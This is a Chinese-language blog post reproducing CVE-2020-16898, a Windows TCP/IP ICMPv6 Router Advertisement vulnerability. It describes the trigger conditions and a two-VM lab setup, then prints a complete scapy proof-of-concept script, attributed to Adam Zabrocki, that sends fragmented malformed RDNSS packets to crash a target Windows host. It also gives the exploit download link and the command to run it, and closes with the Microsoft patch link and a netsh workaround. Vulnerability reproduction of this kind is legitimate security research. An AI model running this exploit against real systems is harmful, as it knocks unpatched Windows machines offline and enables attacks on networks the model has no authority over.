zoukankan      html  css  js  c++  java
  • CVE-2020-16898:Windows TCP/IP远程代码执行复现

    0x01简介

    TCP/IP是指能够在多个不同的网络实现信息传输的协议簇。TCP/IP协议不仅仅指的是TCP和IP两个协议,而是指一个由FTP、SMTP、TCP、UDP、IP等协议构成的协议簇,只是在TCP/IP中TCP和IP两个协议最具代表性,故而被称为TCP/IP协议

    0x02漏洞概述

    编号:CVE-2020-16898

    远程攻击者通过构造特制的 ICMPv6 Router Advertisement(路由通告)数据包,并将其发送到远程 Windows 主机上,即可在目标主机上执行任意代码。要利用此漏洞,攻击者必须将特制的 ICMPv6 路由器广告数据包发送到远程 Windows 计算机上

    触发条件

    仅当源地址是本地链接的 IPv6 时,才能利用此BUG

    整个有效负载必须是有校的 IPv6 数据包,如果将标头弄得太多,触发错误之前,发送的数据包将被拒绝

    在验证数据包大小的过程中,可选标头中所有定义的“长度”必须与数据包大小匹配

    此漏洞允许走私额外的“标题”。此标头未经验证,并且包含“长度”字段。触发错误之后,无论如何都会根据数据包的大小检查此字段

    需要饶过 Windows NDIS AIP 可以触发错误

    0x03影响版本

    Microsoft:window_server_2019:/1903/1909/2004 || Microsoft:window_server_2019:* || Microsoft:window_server:1903/1909/2004

    0x04 环境搭建

    攻击机:ubuntu(python3,scapy模块)

    ifconfig 命令查看本机的 Ipv6 地址

    攻击机的IPv6为

    fe80::a05a:c5b6:8fd7:ffd

    漏洞环境机:Winodws10 1903(需要开启IPv6)

     

    漏洞环境里的IPv6地址为

    fe80::dc97:8d65:87b:8124

    漏洞环境机里的IPv6地址为IPv6地址或者临时IPv6地址 ,攻击机选用的IPv6地址为本地链接IPv6地址,攻击机和环境机网络要互通,(我这里2台虚拟机桥接模式ping通)

    0x05漏洞浮现

    exp下载地址:http://site.pi3.com.pl/exp/p_CVE-2020-16898.py

    #!/usr/bin/env python3
    #
    # Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
    #
    # Author: Adam 'pi3' Zabrocki
    # http://pi3.com.pl
    #
    
    from scapy.all import *
    
    v6_dst = "fe80::dc97:8d65:87b:8124"  #环境机IPv6
    v6_src = "fe80::a05a:c5b6:8fd7:ffd"  #攻击机IPv6
    
    p_test_half = 'A'.encode()*8 + b"x18x30" + b"xFFx18"
    p_test = p_test_half + 'A'.encode()*4
    
    c = ICMPv6NDOptEFA();
    
    e = ICMPv6NDOptRDNSS()
    e.len = 21
    e.dns = [
    "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
    
    pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / 
          Raw(load='A'.encode()*16*2 + p_test_half + b"x18xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
    
    p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ 
                  IPv6ExtHdrFragment()/pkt
    
    l=fragment6(p_test_frag, 200)
    
    for p in l:
        send(p)

    攻击机执行命令

    sudo python3 exp.py

    0x06漏洞修复

    1、针对该漏洞,下载最新的补丁包进行更新修复,链接如下

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

    2、如果不能升级,先禁用基于 RA 的 DNS 配置 CMPv6 RDNSS

    在PowerShell中使用以下命令禁用 ICMPv6 RDNSS,防止攻击者了利用此漏洞

    netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable

    0x07参考链接

     http://blog.pi3.com.pl/?p=780

    CVE-2020-16898:Windows TCP/IP远程代码执行复现

  • 相关阅读:
    redis初步入门(2)
    redis初步入门(1)
    iOS9 中 alertView 的使用
    iOS应用 数据存储方式 (一)
    Python 选课系统
    Python 计算器
    Python ATM
    Python 购物车
    Python 城市列表
    Python 基础登入接口
  • 原文地址:https://www.cnblogs.com/yanwusheng/p/14552840.html
Copyright © 2011-2022 走看看